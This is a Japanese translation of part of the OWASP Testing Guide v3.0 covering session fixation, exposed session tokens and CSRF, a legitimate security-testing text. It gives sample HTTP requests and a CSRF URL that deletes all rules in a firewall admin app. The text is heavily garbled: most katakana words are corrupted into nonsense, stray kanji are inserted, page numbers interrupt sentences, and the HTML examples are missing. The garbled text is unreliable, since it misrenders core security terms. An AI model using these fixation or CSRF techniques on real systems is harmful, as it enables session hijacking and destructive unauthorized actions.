• ウェブ・」アプヨクーサュヱがヤーゴを、 最 初 に 既 存 のスッサュヱ ID を 無 効 化 せずに 認 証 し、それによりそのヤーゴに<br />

既 に 関 連連 付 けられたスッサュヱ ID を 使 い 続 けてしまう 場 合 。<br />

• 攻 撃 者 があるヤーゴに 対 し 既 知 のスッサュヱ ID を 強 要 でき、 一 旦 ヤーゴが 認 証 すると、 攻 撃 者 が 認 証 されたスッ<br />

サュヱへのアキスシしてしまう 場 合 。<br />

スッサュヱ 固 定 化 の 脆 弱 性 を 乱 用 する 場 合 は 一 般 に、 攻 撃 者 はウェブ・」アプヨクーサュヱに 新 たなスッサュヱを 生 成 し、 関 係<br />

するスッサュヱ 識 別 子婡 を 記 録 します。それから、 攻 撃 者 は 犠牢 牲牌 者 に、 同 じスッサュヱ 識 別 子婡 を 使 ってコーバに 認 証 するように<br />

仕 向 け、 活 動 中 のスッサュヱを 通 じてそのヤーゴのアォウヱトへのアキスシを 取 得 します。<br />

さらに、 上 述 の 問 題 は HTTP を 介 してスッサュヱ 識 別 子婡 を 発 行 し、ヤーゴを HTTPS のルギイヱ・フェーマにヨゾイリキトするた<br />

コイトにとって 問 題 です。 認 証 でそのスッサュヱ 識 別 子婡 が 再 発 行 されないと、その 識 別 子婡 は 盗 聴 され、 攻 撃 者 によってスッサ<br />

ュヱを 乗 っ 取 るために 使 わわれるかもしれません。<br />

ブラチクボチクステステと 例<br />

スチシュンヱ 固 定 化 の 脆 弱 性 のテステ:<br />

最 初 の 段 階 はテシトされるコイトに( 例 えば www.example.com)にヨキウシトを 行 うことです。 以 下 のようにヨキウシトした 場 合 :<br />

GET www.example.com<br />

以 下 の 応 答 を 得 るでしょう:<br />

HTTP/1.1 200 OK<br />

Date: Wed, 14 Aug 2008 08:45:11 GMT<br />

Server: IBM_HTTP_Server<br />

Set-Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1; Path=/; secure<br />

Cache-Control: no-cache="set-cookie,set-cookie2"<br />

Expires: Thu, 01 Dec 1994 16:00:00 GMT<br />

Keep-Alive: timeout=5, max=100<br />

Connection: Keep-Alive<br />

Content-Type: text/html;charset=Cp1254<br />

Content-Language: en-US<br />

アプヨクーサュヱが 新 たなスッサュヱ 識 別 子婡 JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1 を、キョイアヱトに 設 定 する 様 子婡<br />

がわわかります。<br />

次 に、そのアプヨクーサュヱに、 以 下 のような POST HTTPS でうまく 認 証 し:<br />

POST https://www.example.com/authentication.php HTTP/1.1<br />

Host: www.example.com<br />

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.16) Gecko/20080702<br />

Firefox/2.0.0.16<br />

Accept:<br />

text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*<br />

;q=0.5<br />

Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3<br />

Accept-Encoding: gzip,deflate<br />

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />

Keep-Alive: 300<br />

Connection: keep-alive<br />

Referer: http://www.example.com<br />

169


Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1<br />

Content-Type: application/x-www-form-urlencoded<br />

Content-length: 57<br />

Name=Meucci&wpPassword=secret!&wpLoginattempt=Log+in<br />

コーバからの 以 下 のようなリシホヱシがあると:<br />

HTTP/1.1 200 OK<br />

Date: Thu, 14 Aug 2008 14:52:58 GMT<br />

Server: Apache/2.2.2 (Fedora)<br />

X-Powered-By: PHP/5.1.6<br />

Content-language: en<br />

Cache-Control: private, must-revalidate, max-age=0<br />

X-Content-Encoding: gzip<br />

Content-length: 4090<br />

Connection: close<br />

Content-Type: text/html; charset=UTF-8<br />

...<br />

HTML data<br />

...<br />

成 功 した 認 証 で 新 たなキッカーが 発 行 されないので、スッサュヱ・ハイザメッキを 実 行 できることがわわかります。<br />

期 待 される 結 果 :<br />

ヤーゴに 妥妞 当 なスッサュヱ 識 別 子婡 を 送 ることができます。( 多 分 セーサメラ・ウヱザニアヨヱギの 技 を 使 って) 認 証 するのを 待<br />

って、すぐ 後 に 特牐 権 がキッカーに 割 り 当 てられたかどうか 調 べます。<br />

ギレアボチクステステと 例<br />

開 発 者 と 話 し、 彼 らがヤーゴの 認 証 成 功 の 後 で 実 行 されるスッサュヱ・」トーキヱ 更 新 を 実 装 したことを 理 解 してください。<br />

期 待 される 結 果 :<br />

ユーザを 認 証 する 前 に、アプリケーションは 常 にまず 既 存 のセッション ID を 無 効 化 し、 他 のセッション ID を 用<br />

意 すべきです。<br />

参 考 文 献<br />

ホワロアテペーパー<br />

• スッサュヱ 固 定 化<br />

• Chris Shiflett: http://shiflett.org/articles/session-fixation<br />

ヂール<br />

• <strong>OWASP</strong> WebScarab: <strong>OWASP</strong>__WebScarab__プルザェキト<br />

170


<strong>OWASP</strong> Testing Guide v3.0<br />

4.5.4 暴 露 されたスチシュンヱ 変 数 のテステ(<strong>OWASP</strong>-SM-004)<br />

概 要<br />

スッサュヱ・トーキヱ(キッカー、スッサュヱ ID、 隠 されたフィーラド)はもし 暴 露 されると、 犠牢 牲牌 者 になりすまし 遊 法 にアプヨクー<br />

サュヱにアキスシできる 機 会 を 攻 撃 者 に 与 えます。そのように、スッサュヱ・トーキヱはすべての 瞬 間 に、 盗 聴 から 守 られてい<br />

ることが 重 要 です。 特牐 にキョイアヱトのブョウゴとアプヨクーサュヱコーバーの 間 で 受 け 渡 している 間 は。<br />

問 題 の 短 い 記 述<br />

ここでの 情 報 は、 伝 送 路 のスカャヨティがどのように 機 密 性 の 高 いスッサュヱ ID の 伝 送 に 関 わわるかにあって、 一 般 的 なデー<br />

ソの 話 ではありません。さらにコイトによって 提 供 されるデーソに 対 するカメッサャや 伝 送 よりもさらに 厳 格 かもしれません。<br />

個 人 的 なプルキサを 使 って、 各 ヨキウシトとリシホヱシについて 以 下 を 確 かめられます:<br />

• 使 用 されたプルトケラ( 例 えば HTTP 対 HTTPS)<br />

• HTTP ブッゾ<br />

• ミッスーザ 本 体 ( 例 えば POST 又 はヘーザ 内 容 )<br />

キョイアヱトとコーバ 間 でスッサュヱ ID のデーソが 受 け 渡 される 時 には 毎 回 、cache と privacy の 命 令 を 確 認 すべきです。こ<br />

こで 言 う 伝 送 スカャヨティは、GET や POST ヨキウシトで 渡 される Session ID、ミッスーザ 本 体 や 妥妞 当 な HTTP ヨキウシトで 渡 る<br />

他 の 手 段 のことを 指 しています。<br />

ブラチクボチクステステと 例<br />

暗 号 化 とスチシュンヱ・テークンヱの 再 利 用 についての 脆 弱 性 のテステ:<br />

盗 聴 に 対 する 防 御 は SSL 暗 号 化 によって 提 供 されることが 多 いものの、 他 のトヱネラ 化 や 暗 号 化 と 組 み 合 わわされることもあ<br />

ります。スッサュヱ ID 自 身 が 保 護 されるのであって、それによって 表 現 されるデーソではないので、スッサュヱ ID の 暗 号 化<br />

や 暗 号 化 装 置 によるハッサャかは、 伝 送 路 の 暗 号 化 とは 分 けて 考 えるべきであることに 注 意 してください。もし 万 一 攻 撃 者<br />

がアプヨクーサュヱにアキスシを 得 るためにスッサュヱ ID を 提 示 できるなら、ヨシキを 緩 和 するために、その 伝 送 時 には 保 護 し<br />

なくてはなりません。したがって、どのようなヨキウシトやリシホヱシに 対 しても 使 用 される 機 構 に 関 わわらず( 例 えば 隠 されたフ<br />

ェーマ・」フィーラド)、スッサュヱ ID が 受 け 渡 されるところでは、 暗 号 化 はデフェラトかつ 強 制 であることが 確 実 でなくてはなり<br />

ません。 安 全 なコイトと 安 全 でないコイトの 間 の 十 分 な 分 離 が 実 施 されているかを 確 認 するために、アプヨクーサュヱとのや<br />

りとりの 間 に https://を http://で 置 き 換 えるといった 簡 単 なタェッキが、フェーマのホシトの 修 正 と 一 緒 に 成 されるべきです。<br />

注 記 : もしコイトにヤーゴがスッサュヱ ID と 共 に 追 跡 され、しかしスカャヨティが 存 在 しない 要 素 ( 例 えば 登 録 されたヤーゴが<br />

どの 公 開 ドカャミヱトをゾウヱルードするか)も 存 在 するなら、 本 質 的 に 異 なるスッサュヱ ID を 使 うべきです。したがって、スッ<br />

サュヱ ID はキョイアヱトが 安 全 な 要 素 から 安 全 でない 要 素 に 切 り 替 わわる 際 に、 異 なるものが 使 用 されているのを 確 認 するた<br />

めに、 監 視 されるべきです。<br />

期 待 される 結 果 :<br />

認 証 が 成 功 した 時 には 毎 回 、ヤーゴは 以 下 を 受 け 取 ることを 期 待 すべきです:<br />

• 異 なるスッサュヱ・トーキヱ<br />

171


• HTTP ヨキウシトを 行 う 時 には 毎 回 、トーキヱが 暗 号 化 されたタメネラを 介 して 送 られます。<br />

プロクシとキメチシンヱギの 脆 弱 性 のテステ:<br />

アプヨクーサュヱスカャヨティをリビャーする 際 には、プルキサも 検 討 しなくてはなりません。 多 くの 場 合 、キョイアヱトは 企 業 や<br />

ISP、あるいは 他 のプルキサやプルトケラを 意 識 するグートウェイ( 例 えばファイアウェーラ)を 介 してアプヨクーサュヱにアキスシ<br />

します。HTTP プルトケラは 下 流 のプルキサの 挙 動 を 制 御 する 命 令 を 用 意 していて、これらの 命 令 の 正 確 な 実 装 も 評 価 される<br />

べきです。 一 般 的 に、スッサュヱ ID を 暗 号 化 されていない 伝 送 経 路 をまたいでは 決 して 送 るべきではなく、また 決 してカメッ<br />

サャすべきではありません。したがって、どのようなスッサュヱ ID の 伝 送 についても 暗 号 化 された 通 信 がデフェラトであり 同<br />

時 に 強 制 されていることを 確 認 するために、アプヨクーサュヱはテシトされねばなりません。さらに、スッサュヱ ID が 渡 される<br />

時 にはいつも、 中 間 的 にもルーォラカメッサャにさえも、カメッサャされるのを 防 ぐために、 命 令 が 適遚 切 に 置 かれるべきです。<br />

アプヨクーサュヱは、HTTP/1.0 及 び HTTP/1.1 の 両 方 を 通 じてカメッサャ 上 のデーソを 保 護 するために 構 成 すべきでもありま<br />

す – RFC2616 は HTTP に 関 する 適遚 切 な 制 御 を 議 論 しています。HTTP/1.1 は 数 多 くのカメッサャ 制 御 機 構 を 提 供 しています。<br />

Cache-Control: no-cache は、プルキサがどのようなデーソも 再 使 用 してはならないことを 示 します。Cache-Control: Private は<br />

妥 当 な 命 令 のように 見 えますが,これはまだキャッシュデータに 対 し, 共 有 されないプロクシを 許 しています。ウ<br />

ェブカフェや 他 の 共 有 システムの 場 合 ,これは 明 らかな 危 険 性 を 示 しています。シングルユーザのワークステーシ<br />

ョンでさえ,ファイルシステムが 破 られたりネットワーク 記 憶 装 置 が 使 われたりしているところでは,キャッシュ<br />

されたセッション ID は 暴 露 されるかもしれません。HTTP/1.0 のキャッシュは Cache-Control: no-cache 命 令 を 認 識<br />

しません。<br />

期 待 される 結 果 :<br />

カメッサャがデーソを 暴 露 しないことをさらに 確 実 にするために、「Expires: 0」と Cache-Control: max-age=0 の 命 令 が 使 わわれ<br />

るべきです。スッサュヱ ID のデーソを 受 け 渡 す 各 ヨキウシト/リシホヱシについて、 妥妞 当 なカメッサャ 命 令 を 使 わわれていること<br />

を 検 討 すべきです。<br />

GET と POST の 脆 弱 性 のテステ:<br />

スッサュヱ ID がプルキサやファイアウェーラのルギに 暴 露 されるかもしれないので、 一 般 的 に GET ヨキウシトを 使 うべきでは<br />

ありません。 正 しいツーラを 使 えばほとんどあらゆる 機 構 が 操 作 できることに 注 意 すべきではあるものの、それらはまた、 他<br />

の 形 式 の 伝 送 経 路 よりもはるかに 容 易 に 操 作 できます。その 上 、 犠牢 牲牌 者 に 特牐 別 に 構 築 されたヨヱキを 送 ることにより、キルシ<br />

コイト・シキヨプティヱギ(XSS) 攻 撃 が 最 も 容 易 に 利 用 されています。キョイアヱトから POST としてデーソが 送 られるなら、これ<br />

ははるかに 起 こりにくいことです。<br />

期 待 される 結 果 :<br />

デーソが GET として 送 られた 場 合 にはデーソを 受 け 取 らないことを 確 認 するために、POST ヨキウシトからデーソを 受 けるコ<br />

ーバ 側 のケードをすべてテシトしなくてはなりません。 例 えば、 以 下 の POST ヨキウシトがルギイヱヘーザによって 生 成 された<br />

場 合 を 考 えてください。<br />

POST http://owaspapp.com/login.asp HTTP/1.1<br />

Host: owaspapp.com<br />

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.2) Gecko/20030208<br />

Netscape/7.02 Paros/3.0.2b<br />

Accept: */*<br />

Accept-Language: en-us, en<br />

Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66<br />

Keep-Alive: 300<br />

Cookie: ASPSESSIONIDABCDEFG=ASKLJDLKJRELKHJG<br />

Cache-Control: max-age=0<br />

172


<strong>OWASP</strong> Testing Guide v3.0<br />

Content-Type: application/x-www-form-urlencoded<br />

Content-Length: 34<br />

Login=Username&password=Password&SessionID=12345678<br />

もし login.asp にひどい 実 装 がされていて、 以 下 の URL を 使 ってルギイヱできる 場 合 には:<br />

http://owaspapp.com/login.asp?Login=Username&password=Password&SessionID=12345678<br />

各 POST をこの 方 法 で 調 べることにより、 潜 在 的 に 安 全 でないコーバ 側 のシキヨプトを 識 別 できるかもしれません。<br />

転 送 の 脆 弱 性 のテステ:<br />

キョイアヱトとアプヨクーサュヱ 間 のすべてのやりとりは、 最 低 限 以 下 の 判 断 基 準 に 対 してテシトされなくてはなりません。<br />

• スッサュヱ ID はどのように 転 送 されるか? 例 えば、GET、POST、フェーマフィーラド( 隠 されたフィーラドを 含 む)<br />

• スッサュヱ ID は 常 にデフェラトで 暗 号 化 された 転 送 を 通 じて 送 られるか?<br />

• アプヨクーサュヱを 操 作 して 暗 号 化 せずにスッサュヱ ID を 送 ることは 可 能 か? 例 えば、HTTP を HTTPS に 変 えること<br />

によって?<br />

• スッサュヱ ID を 受 け 渡 すヨキウシト/リシホヱシに、どんな cache-control 命 令 が 使 わわれているか?<br />

• これらの 命 令 は 常 に 存 在 するか? 存 在 しない 場 合 、どこに 例 外 が 存 在 するのか?<br />

• スッサュヱ ID を 組 み 込 んだ GET ヨキウシトは 使 わわれているか?<br />

• POST が 使 わわれる 場 合 、それは GET と 相 互 変 換 可 能 か?<br />

参 考 文 献<br />

ホワロアテペーパー<br />

• RFCs 2109 & 2965 – HTTP 状牮 態 管 理 機 構 (HTTP State Management Mechanism) [D. Kristol, L. Montulli] -<br />

www.ietf.org/rfc/rfc2965.txt, www.ietf.org/rfc/rfc2109.txt<br />

• RFC 2616 – ハイパーテカシト 転 送 プルトケラ(Hypertext Transfer Protocol) -- HTTP/1.1 -<br />

www.ietf.org/rfc/rfc2616.txt<br />

4.5.5 CSRF のテステ(<strong>OWASP</strong>-SM-005)<br />

概 要<br />

CSRF は、ウェブ・」アプヨクーサュヱ 上 で 現 在 認 証 されている 末 端 ヤーゴに、 意 図 しない 操 作 を 実 行 させる 攻 撃 です。( 電 子婡 ミ<br />

ーラやタメットを 介 してヨヱキを 送 るという 風 に)セーサメラ・」ウヱザニアヨヱギの 助 けをちょっと 借 りることで、 攻 撃 者 はウェブ・」<br />

アプヨクーサュヱのヤーゴに 攻 撃 者 が 選遥 んだアキサュヱの 実 行 を 強 制 するかもしれません。 通 常 のヤーゴが 標 的 の 場 合 、<br />

173


CSRF が 成 功 するとヤーゴのデーソと 操 作 が 奪 わわれます。 標 的 の 末 端 ヤーゴが 管 理 者 アォウヱトの 場 合 、CSRF 攻 撃 はウェ<br />

ブ・アプヨクーサュヱ 全 体 を 攻 略 できます。<br />

関 連 するスキャリテァ 活 動<br />

CSRF 脆 弱 性 の 記 述<br />

CSRF 脆 弱 性 に 関 する <strong>OWASP</strong> の 記 事 を 参 照 。<br />

CSRF 脆 弱 性 を 避 ける 方 法<br />

CSRF 脆 弱 性 の 回 避遪 方 法 に 関 する <strong>OWASP</strong> 開 発 オイドの 記 事 を 参 照 。<br />

CSRF 脆 弱 性 についてケーデをレパャーする 方 法<br />

CSRF 脆 弱 性 についてケードをリビャーする 方 法 に 関 する <strong>OWASP</strong> のケードリビャーオイドの 記 事 を 参 照 。<br />

問 題 の 記 述<br />

CSRF は 以 下 の 事 柄 に 頼 っています:<br />

1) キッカーや http 認 証 情 報 といったスッサュヱ 取 扱 い 関 係 のウェブ・ブョウゴの 挙 動<br />

2) 攻 撃 者 側 の、 妥妞 当 なウェブ・」アプヨクーサュヱの URL についての 知 識<br />

3) ブョウゴによって 知 られている 情 報 のみに 頼 ったアプヨクーサュヱのスッサュヱ 管 理<br />

4) 例 えば 画 像 ソギ img のような、 存 在 が 即 座 に http[s]ヨセーシへのアキスシを 引 き 起 こす HTML ソギの 存 在<br />

1、2 及 び3は 脆 弱 性 が 存 在 するための 本 質 的 な 要 因 ですが、2は 付 随 的 で 実 際 の 利 用 を 容 易 にするものの、 厳 密 には 必<br />

要 ではありません。<br />

項 目 1)ブョウゴは 自 動 的 にヤーゴのスッサュヱを 識 別 していた 情 報 を 送 ります。コイトがウェブ・アプヨクーサュヱをベシトし<br />

ていて、 犠牢 牲牌 者 のヤーゴがコイトに 自 身 を 認 証 されたところだとしましょう。リシホヱシ 中 に、コイトは 犠牢 牲牌 者 に 対 しキッカーを<br />

送 ります。そのキッカーは 犠牢 牲牌 者 によって 送 られたヨキウシトを、 犠牢 牲牌 者 の 認 証 スッサュヱに 属 しているものと 同 定 します。 基<br />

本 的 にいったんブョウゴがコイトによって 設 定 されたキッカーを 受 け 取 ると、ブョウゴはコイトへ 向 けた 将 来 のヨキウシトと 共<br />

に 自 動 的 にキッカーを 送 ります。<br />

項 目 2)もしアプヨクーサュヱが URL 中 でスッサュヱ 関 係 の 情 報 を 使 わわない 場 合 には、アプヨクーサュヱの URL、パョミーソと<br />

妥妞 当 な 値 が (ケード 分 析 によって、 又 はアプヨクーサュヱにアキスシして HTML/JavaScript 内 に 埋 め 込 まれたフェーマと URL<br />

を 記 録 するによって) 識 別 されるかもしれないことを 意 味 しています。<br />

項 目 3)「ブョウゴによって 知 られている」という 表 現 は、(プーサッキ 認 証 すなわわちフェーマに 基 づかない 認 証 のような)キッカ<br />

ーや HTTP に 基 づいた 認 証 情 報 を 意 味 しています。それらの 情 報 はブョウゴによって 保 存 され、アプヨクーサュヱへ 向 けた<br />

各 ヨキウシトで 引 き 続 き 再 送 されます。 次 に 議 論 される 脆 弱 性 は、ヤーゴのスッサュヱを 識 別 するためにこの 種 の 情 報 に 完媍<br />

全 に 頼 っているアプヨクーサュヱにあてはまります。<br />

単 純 化 するため、Get でアキスシ 可 能 な URL を 参 照 する 場 合 を 考 えてください( 議 論 は POST ヨキウシトにも 同 様 にあてはま<br />

りますが)。もし 犠牢 牲牌 者 が 自 身 を 既 に 認 証 していると、 引 き 続 く 他 のヨキウシトによりそのキッカーがヨキウシトと 共 に 自 動 的 に 送<br />

られます(ヤーゴが www.example.com のアプヨクーサュヱにアキスシしている 図 を 参 照 )。<br />

174


<strong>OWASP</strong> Testing Guide v3.0<br />

Get ヨキウシトはいくつかの 異 なる 方 法 で 作 られます:<br />

• 実 際 にウェブ・」アプヨクーサュヱを 使 用 しているヤーゴによって<br />

• ブョウゴに 直 接 URL を 打 ち 込 んだヤーゴによって<br />

• URL を 指 す(アプヨクーサュヱ 外 の)ヨヱキをたどったヤーゴによって<br />

アプヨクーサュヱからは、これらの 変 更 の 見 分 けはつきません。 特牐 に 三 つ 目 が 非 常 に 危 険 です。ヨヱキの 実 際 の 属 性 を 偽 装<br />

する、 数 多 くの 技 術 (と 脆 弱 性 ) が 存 在 します。ヨヱキは 電 子婡 ミーラのミッスーザに 埋 め 込 んだり、ヤーゴをおびき 寄 せる 悪<br />

意 のあるウェブ・コイトに 現 れたりすることもありえます。すなわわち、ヨヱキは 他 の 場 所 ( 他 のウェブ・コイト、HTML 電 子婡 ミーラ<br />

のミッスーザなど) にベシトされたケヱテヱトに 現 れ、アプヨクーサュヱのヨセーシを 指 します。ヤーゴがヨヱキをキヨッキすると、<br />

それはコイトのウェブ・」アプヨクーサュヱにより 認 証 済 みなので、ブョウゴはウェブ・」アプヨクーサュヱに 認 証 情 報 (スッサュヱ ID<br />

のキッカー) 付 きの GET ヨキウシトを 発 行 します。この 結 果 、ウェブ・」アプヨクーサュヱ 上 で 実 行 された 妥妞 当 な 操 作 が、 恐 らくヤ<br />

ーゴが 意 図 していなかったことが 実 行 されてしまいます。 そのひどさを 味 わわうため、ウェブ・バヱカヱギ・アプヨクーサュヱ 上<br />

で 資 金 振 り 込 みを 起 こす 悪 意 のあるヨヱキを 考 えてください……<br />

上 述 の 項 目 4 に 明 記 したように img のようなソギを 使 うと、ヤーゴが 特牐 定 のヨヱキを 手 繰 る 必 要 さえありません。 以 下 の( 過遃 度<br />

に 単 純 化 した)HTML を 格 納 したヘーザを 参 照 する URL を 訪 れるよう 勧 誘 する 電 子婡 ミーラを、 攻 撃 者 がヤーゴに 送 る 場 合 を<br />

考 えましょう:<br />

<br />

...<br />

<br />

...<br />

<br />

ブョウゴがこのヘーザを 表 示 する 際 に 行 うことは、 指 定 された 幅 0 の(すなわわち 見 えない) 画 像 を 同 様 に 表 示 しようとすること<br />

です。この 結 果 、そのコイトでベシトされたウェブ・」アプヨクーサュヱにヨキウシトが 自 動 的 に 送 られてしまいます。 画 像 の URL<br />

が 妥妞 当 な 画 像 を 参 照 していないことは 重 要 ではありません。その 存 在 はとにかく src フィーラドで 指 定 されたヨキウシトの 引<br />

175


き 金 になります。ブョウゴで 画 像 のゾウヱルードが 無 効 にされていないとこれは 起 こり、 画 像 を 無 効 にするとたいていのウェ<br />

ブ・」アプヨクーサュヱは 使 用 に 耐 えなくなるために、それは 典 型 的 な 設 定 です。<br />

ここでの 問 題 は 以 下 の 事 実 の 結 果 です:<br />

• ヘーザに 現 れると 自 動 的 に HTTP ヨキウシトを 実 行 する HTML ソギ (img はそれらの 一 つ) が 存 在 します<br />

• ブョウゴには img によって 参 照 されたヨセーシが 実 際 には 画 像 ではなく、 実 のところ 本 物片 ではないことを 識 別 する<br />

手 段 を 持 ちません<br />

• 画 像 のルードは 疑 わわしい 画 像 の 場 所 に 関 係 なく 起 こります。すなわわち、フェーマと 画 像 自 身 は 同 じベシトにある 必 要<br />

はなく、 同 じドミイヱにさえある 必 要 はありません。これは 非 常 に 便 利 な 仕 様 ですが、そのためにアプヨクーサュヱを<br />

分 離 するのが 困 難 になります。<br />

ウェブ・」アプヨクーサュヱに 関 係 ない HTML ケヱテヱツがアプヨクーサュヱ 内 の 部邪 品 を 参 照 しているかもしれない 事 実 と、ブョ<br />

ウゴが 妥妞 当 なヨキウシトをアプヨクーサュヱに 向 けて 自 動 的 に 組 み 立 てる 事 実 が、そのような 種 類 の 攻 撃 を 許 しています。 今<br />

のところ 標 準 は 定 義 されていないので、 攻 撃 者 が 妥妞 当 な URL を 指 定 するのを 不 可 能 にしない 限 りこの 挙 動 を 禁 止 する 方 法<br />

はありません。これは、 妥妞 当 な URL がヤーゴのスッサュヱに 関 係 した 情 報 を 含 まなくてはならないことを 意 味 します。ヤーゴ<br />

のスッサュヱは 恐 らく 攻 撃 者 に 知 られておらず、したがってそのような URL を 同 定 するのを 不 可 能 にするからです。<br />

画 像 を 含 む 電 子婡 ミーラミッスーザを 単 純 に 表 示 する 電 子婡 ミーラ/ブョウゴ 環 境 は、 関 連連 したブョウゴ・キッカー 付 きでウェブ・<br />

アプヨクーサュヱへのヨキウシトを 実 行 することになるので、さらに 問 題 を 悪 化 させるかもしれません。<br />

次 のような 妥妞 当 そうな 画 像 URL を 参 照 することで、 事 態 はさらに 混 乱 します<br />

<br />

[attacker]のところは 攻 撃 者 の 制 御 下 にあるコイトで、http://[attacker]/picture.gif を http://[thirdparty]/action へ 向 け、ヨゾ<br />

イリキト 機 構 を 使 っています。<br />

キッカーだけがこの 種 の 脆 弱 性 に 含 まれるわわけではありません。スッサュヱ 情 報 が 完媍 全 にブョウゴによって 提 供 されるウェ<br />

ブ・アプヨクーサュヱもまた 脆 弱 です。これは HTTP 認 証 機 構 だけに 頼 るアプヨクーサュヱを 含 みます。 認 証 情 報 がブョウゴ<br />

に 知 られ、 各 ヨキウシトに 際 して 自 動 的 に 送 られるからです。これはフェーマに 基 づいた 認 証 は 含 みません。フェーマ 認 証 は<br />

一 度 だけ 起 こり、 何 らかの 形 式 のスッサュヱに 関 連連 した 情 報 を 生 成 するからです。(もちろんこの 場 合 、そのような 情 報 は 単<br />

純 にキッカーとして 表 現 され、 以 前 のクーシの 一 つに 陥 るかもしれません。)<br />

サンヱプルのシトリオ<br />

犠牢 牲牌 者 がファイアウェーラのウェブ・」アプヨクーサュヱにルギエヱしているとしましょう。ルギイヱするために、ヤーゴは 自 身 を<br />

認 証 しなくてはなりません。それのすぐ 後 、スッサュヱ 情 報 がキッカーに 格 納 されます。<br />

ファイアウェーラ ウェブ 管 理 アプヨクーサュヱに、 認 証 されたヤーゴが 位 置 番 号 で 指 定 したラーラを 消 したり、「*」を 入 力 す<br />

ると 構 成 のすべてのラーラを 消 したりできるようにする 機 能 があるとしましょう。( 非 常 に 危 険 な 機 能 ですが、 例 をより 興 味 深<br />

くしてくれます。) 削 除 ヘーザを 次 に 示 します。 単 純 のため、そのフェーマが 次 のような 形 式 の GET ヨキウシトを 発 行 したとし<br />

ましょう。<br />

https://[target]/fwmgt/delete?rule=1<br />

( 番 号 1 のラーラを 消 す)<br />

176


<strong>OWASP</strong> Testing Guide v3.0<br />

https://[target]/fwmgt/delete?rule=*<br />

(すべてのラーラを 消 す)<br />

例 ではわわざわわざ 極 めて 素 朴 にしていますが、 単 純 な 方 法 で CSRF の 危 険 を 示 しています。<br />

したがって、「*」を 入 力 して 削 除 ペソヱを 押 すと、 以 下 の GET ヨキウシトが 発 行 されます。<br />

https://www.company.example/fwmgt/delete?rule=*<br />

それに 伴 い、 全 ファイアウェーラ・ラーラが 削 除 されます。( 最 終 的 には 不 都邴 合 な 状牮 況 になりえるでしょう。)<br />

さて、これが 唯 一 つの 可 能 なサナヨエというわわけではありません。ヤーゴは 手 で「https://[target]/fwmgt/delete?rule=* 」の<br />

URL を 発 行 することでその URL を 直 接 、 又 はヨゾイリキトを 介 して 指 すヨヱキをたどって 同 じ 結 果 を 成 し 遂逹 げたかもしれませ<br />

ん。あるいは、 繰 り 返 しますが、 埋 め 込 まれた 同 じ URL を 指 す img ソギを 持 つ HTML ヘーザにアキスシすることによってかも<br />

しれません。<br />

これらのクーシすべてで、ヤーゴが 現 在 ファイアウェーラ 管 理 アプヨクーサュヱにルギイヱしていると、ヨキウシトは 成 功 し、フ<br />

ァイアウェーラの 構 成 は 変 更 されるでしょう。<br />

機 密 のアプヨクーサュヱを 標 的 にし、 自 動 的 なエーキサュヱ 入 札 、 送 金 、 発 注 、 重 大 なセフトウェア 部邪 品 の 構 成 変 更 などを 行<br />

う 攻 撃 が 想 像 できるでしょう。<br />

興 味 深 いことに、これらの 脆 弱 性 はファイアウェーラの 背 後 で 実 行 されるかもしれません。すなわわち 攻 撃 されているヨヱキが<br />

犠牢 牲牌 者 によって 到 遉 可 能 であれば( 攻 撃 者 によっては 直 接 には 到 遉 不 可 能 でも) 充 分 です。 特牐 にそれはイヱトョネットのウェ<br />

ブ・コーバでありえます。 例 えば 先 述 のファイアウェーラ 管 理 部邪 署 は、イヱソーネットにむき 出 しになっていそうにありません。<br />

177


核 動 力 施 設 の 監 視 アプヨクーサュヱを 標 的 にした CSRF 攻 撃 を 想 像 してみてください…… こじつけに 聞 こえますか? 恐 らく、し<br />

かしありうる 話 です。<br />

自 身 が 脆 弱 なアプヨクーサュヱ、すなわわち(ウェブミーラ・アプヨクーサュヱのような) 攻 撃 の 担 体 と 標 的 の 両 方 として 使 わわれる<br />

アプヨクーサュヱは、 事 態 をさらに 悪 化 させます。そのようなアプヨクーサュヱが 脆 弱 だと、CSRF 攻 撃 を 含 んでいるミッスーザ<br />

を 読 んでいる 時 点 で、ヤーゴは 明 らかにルギイヱしています。その 攻 撃 はウェブミーラ・アプヨクーサュヱを 標 的 にでき、ミッ<br />

スーザを 削 除 したり、ヤーゴによって 送 信 されたとわわかるミッスーザを 送 信 したり、といった 活 動 を 行 わわせることができます。<br />

対 策<br />

以 下 の 対 策 はヤーゴへの 推 奨 と 開 発 者 への 推 奨 に 分 かれます。<br />

ヤーザ<br />

CSRF 脆 弱 性 は 広 範 囲 に 及 ぶと 報 じられているので、ヨシキを 緩 和 するために 最 良 の 事 例 に 従 うことを 推 奨 します。 緩 和 行 動<br />

には 以 下 のようなものもあります:<br />

• ウェブ・」アプヨクーサュヱを 使 い 終 えたら 直 ちにルギエフしましょう<br />

• ブョウゴにヤーゴ 名 /パシワロードを 保 存 させてはいけませんし、コイトにルギイヱを「 記 憶 」させてはいけません<br />

• 機 密 のアプヨクーサュヱにアキスシする 目 的 とイヱソーネットを 自 由 に 見 て 回 る 目 的 に、 同 じブョウゴを 使 ってはい<br />

けません。 同 じボサヱで 両 方 を 行 わわなければならない 場 合 には、 別 のブョウゴで 行 ってください。<br />

HTML が 有 効 なミーラ/ブョウゴやニャーシヨーゾ/ブョウゴの 統 合 環 境 は、 単 純 にミーラミッスーザやニャーシミッスーザを<br />

参 照 すると 攻 撃 の 実 行 を 引 き 起 こすかもしれないので、 追 加 のヨシキを 引 き 起 こします。<br />

開 発 者<br />

URL にスッサュヱ 関 係 の 情 報 を 追 加 してください。 攻 撃 を 可 能 にする 原 因 は、スッサュヱがキッカーによって 一 意 に 識 別 され、<br />

キッカーがブョウゴにより 自 動 的 に 送 られることにあります。 URL リプラで 生 成 された 他 のスッサュヱ 固 有 の 情 報 を 持 つこと<br />

により、 攻 撃 者 が 攻 撃 のための URL 構 造造 を 知 るのを 困 難 にできます。<br />

